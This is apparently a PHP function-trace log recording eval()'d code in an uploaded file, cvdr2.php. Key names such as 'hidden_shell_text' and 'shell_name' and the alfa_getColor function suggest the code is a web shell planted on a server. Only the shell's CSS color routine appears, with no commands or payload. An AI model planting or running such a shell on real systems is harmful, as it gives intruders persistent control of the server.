6	170	0	0.116539	3921232	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'options_list_header'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
6	170	1	0.116571	3921232
6	170	R			'#59cc33'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#59cc33'
6	171	0	0.116595	3921232	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#59cc33'	'color: {color};'
6	171	1	0.116611	3921368
6	171	R			'color: #59cc33;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #59cc33;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.txtfont_header{color: #59cc33;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'options_list_text'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.txtfont,.tbltxt'
6	172	0	0.116672	3921232	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'options_list_text'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
6	172	1	0.116704	3921232
6	172	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	173	0	0.116728	3921232	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	173	1	0.116744	3921368
6	173	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'Alfa+'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.alfa_plus'
6	174	0	0.116803	3921232	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'Alfa+'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
6	174	1	0.116835	3921232
6	174	R			'#06ff0f'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#06ff0f'
6	175	0	0.116859	3921232	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#06ff0f'	'color: {color};font-weight: unset;'
6	175	1	0.116876	3921392
6	175	R			'color: #06ff0f;font-weight: unset;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #06ff0f;font-weight: unset;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'hidden_shell_text'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '#hidden_sh a'
6	176	0	0.116942	3921256	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'hidden_shell_text'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
6	176	1	0.116973	3921256
6	176	R			'#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#00FF00'
6	177	0	0.116997	3921256	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#00FF00'	'color: {color};'
6	177	1	0.117013	3921392
6	177	R			'color: #00FF00;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #00FF00;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '#hidden_sh a{color: #00FF00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'hidden_shell_version'
6	178	0	0.117065	3921488	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'hidden_shell_version'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#ff0000'
6	178	1	0.117091	3921488
6	178	R			'#ff0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#ff0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.hidden_shell_version{color: #ff0000;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'shell_name'
6	179	0	0.117140	3921488	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'shell_name'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#FF0000'
6	179	1	0.117165	3921488
6	179	R			'#FF0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#FF0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.shell_name{color: #FF0000;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'main_row:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.main tr:hover'
6	180	0	0.117223	3921488	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'main_row:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
6	180	1	0.117255	3921488
6	180	R			'#646464'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#646464'
6	181	0	0.117279	3921488	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#646464'	'background-color: {color};'
6	181	1	0.117296	3921640
6	181	R			'background-color: #646464;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: #646464;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.main tr:hover{background-color: #646464;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'main_header'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.main th'
6	182	0	0.117360	3921504	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'main_header'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
6	182	1	0.117391	3921504
6	182	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	183	0	0.117415	3921504	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	183	1	0.117431	3921640
6	183	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.main th{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'main_name'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.main .main_name'
6	184	0	0.117490	3921488	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'main_name'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
6	184	1	0.117522	3921488
6	184	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	185	0	0.117546	3921488	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};font-weight: unset;'
6	185	1	0.117563	3921648
6	185	R			'color: #FFFFFF;font-weight: unset;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;font-weight: unset;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'main_size'
6	186	0	0.117619	3921512	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'main_size'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#67ABDF'
6	186	1	0.117645	3921512
6	186	R			'#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.main_size{color: #67ABDF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'main_modify'
6	187	0	0.117693	3921512	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'main_modify'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#67ABDF'
6	187	1	0.117717	3921512
6	187	R			'#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.main_modify{color: #67ABDF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'main_owner_group'
6	188	0	0.117765	3921768	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'main_owner_group'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#67ABDF'
6	188	1	0.117790	3921768
6	188	R			'#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.main_owner_group{color: #67ABDF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'main_green_perm'
6	189	0	0.117837	3921768	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'main_green_perm'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#25ff00'
6	189	1	0.117862	3921768
6	189	R			'#25ff00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#25ff00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.main_green_perm{color: #25ff00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'main_red_perm'
6	190	0	0.117908	3921768	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'main_red_perm'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#FF0000'
6	190	1	0.117933	3921768
6	190	R			'#FF0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#FF0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.main_red_perm{color: #FF0000;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'main_white_perm'
6	191	0	0.117980	3921768	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'main_white_perm'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#FFFFFF'
6	191	1	0.118005	3921768
6	191	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.main_white_perm{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'beetween_perms'
6	192	0	0.118051	3921768	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'beetween_perms'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#FFFFFF'
6	192	1	0.118075	3921768
6	192	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.beetween_perms{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'main_actions'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.main .actions'
6	193	0	0.118132	3921768	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'main_actions'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
6	193	1	0.118179	3921768
6	193	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	194	0	0.118205	3921768	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	194	1	0.118222	3921904
6	194	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.main .actions{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'minimize_editor_background'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.minimized-wrapper'
6	195	0	0.118281	3921744	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'minimize_editor_background'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
6	195	1	0.118313	3921744
6	195	R			'#0e304a'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0e304a'
6	196	0	0.118338	3921744	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0e304a'	'background-color: {color};'
6	196	1	0.118354	3921896
6	196	R			'background-color: #0e304a;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: #0e304a;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.minimized-wrapper{background-color: #0e304a;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'minimize_editor_text'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.minimized-text'
6	197	0	0.118419	3921760	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'minimize_editor_text'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
6	197	1	0.118451	3921760
6	197	R			'#f5deb3'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#f5deb3'
6	198	0	0.118475	3921760	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#f5deb3'	'color: {color};'
6	198	1	0.118491	3921896
6	198	R			'color: #f5deb3;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #f5deb3;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.minimized-text{color: #f5deb3;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_border'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.editor-explorer,.editor-modal'
6	199	0	0.118553	3922000	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
6	199	1	0.118585	3922000
6	199	R			'#0e304a'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0e304a'
6	200	0	0.118610	3922000	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0e304a'	'border: 2px solid {color};'
6	200	1	0.118626	3922152
6	200	R			'border: 2px solid #0e304a;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'border: 2px solid #0e304a;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_background'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.editor-explorer,.editor-modal'
6	201	0	0.118692	3922016	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_background'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
6	201	1	0.118728	3922016
6	201	R			'rgba(0, 1, 23, 0.94)'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = 'rgba(0, 1, 23, 0.94)'
6	202	0	0.118756	3922016	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'rgba(0, 1, 23, 0.94)'	'background-color: {color};'
6	202	1	0.118772	3922192
6	202	R			'background-color: rgba(0, 1, 23, 0.94);'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: rgba(0, 1, 23, 0.94);'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_header_background'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.editor-header'
6	203	0	0.118839	3922040	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_header_background'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
6	203	1	0.118871	3922040
6	203	R			'rgba(21, 66, 88, 0.93)'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = 'rgba(21, 66, 88, 0.93)'
6	204	0	0.118898	3922040	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'rgba(21, 66, 88, 0.93)'	'background-color: {color};'
6	204	1	0.118915	3922216
6	204	R			'background-color: rgba(21, 66, 88, 0.93);'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: rgba(21, 66, 88, 0.93);'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_header_text'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.editor-path'
6	205	0	0.118981	3922040	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_header_text'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
6	205	1	0.119012	3922040
6	205	R			'#00ff7f'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#00ff7f'
6	206	0	0.119037	3922040	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#00ff7f'	'color: {color};'
6	206	1	0.119052	3922176
6	206	R			'color: #00ff7f;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #00ff7f;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.editor-path{color: #00ff7f;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_header_button'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.close-button, .editor-minimize'
6	207	0	0.119115	3922000	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_header_button'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
6	207	1	0.119147	3922000
6	207	R			'#1d5673'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#1d5673'
6	208	0	0.119171	3922000	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#1d5673'	'background-color: {color};'
6	208	1	0.119187	3922152
6	208	R			'background-color: #1d5673;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: #1d5673;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_actions'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.editor_actions'
6	209	0	0.119256	3922272	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_actions'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
6	209	1	0.119288	3922272
6	209	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	210	0	0.119312	3922272	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	210	1	0.119328	3922408
6	210	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.editor_actions{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_file_info_vars'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.editor_file_info_vars'
6	211	0	0.119389	3922256	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_file_info_vars'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
6	211	1	0.119421	3922256
6	211	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	212	0	0.119445	3922256	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	212	1	0.119460	3922392
6	212	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.editor_file_info_vars{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_file_info_values'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.filestools'
6	213	0	0.119525	3922256	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_file_info_values'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
6	213	1	0.119556	3922256
6	213	R			'#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#67ABDF'
6	214	0	0.119580	3922256	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#67ABDF'	'color: {color};'
6	214	1	0.119597	3922392
6	214	R			'color: #67ABDF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #67ABDF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.filestools{color: #67ABDF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_history_header'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.hheader-text,.history-clear'
6	215	0	0.119660	3922256	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_history_header'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
6	215	1	0.119692	3922256
6	215	R			'#14ff07'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#14ff07'
6	216	0	0.119716	3922256	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#14ff07'	'color: {color};'
6	216	1	0.119732	3922392
6	216	R			'color: #14ff07;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #14ff07;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.hheader-text,.history-clear{color: #14ff07;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_history_list'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.editor-file-name'
6	217	0	0.119794	3922256	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_history_list'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
6	217	1	0.119829	3922256
6	217	R			'#03b3a3'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#03b3a3'
6	218	0	0.119854	3922256	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#03b3a3'	'color: {color};'
6	218	1	0.119870	3922392
6	218	R			'color: #03b3a3;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #03b3a3;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.editor-file-name{color: #03b3a3;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_history_selected_file'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.is_active'
6	219	0	0.119933	3922256	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_history_selected_file'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
6	219	1	0.119965	3922256
6	219	R			'rgba(49, 55, 93, 0.77)'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = 'rgba(49, 55, 93, 0.77)'
6	220	0	0.119992	3922256	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'rgba(49, 55, 93, 0.77)'	'background-color: {color};'
6	220	1	0.120009	3922432
6	220	R			'background-color: rgba(49, 55, 93, 0.77);'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: rgba(49, 55, 93, 0.77);'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'editor_history_file:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.file-holder > .history:hover'
6	221	0	0.120077	3922808	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'editor_history_file:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
6	221	1	0.120109	3922808
6	221	R			'#646464'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#646464'
6	222	0	0.120134	3922808	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#646464'	'background-color: {color};'
6	222	1	0.120150	3922960
6	222	R			'background-color: #646464;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: #646464;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.file-holder > .history:hover{background-color: #646464;}'
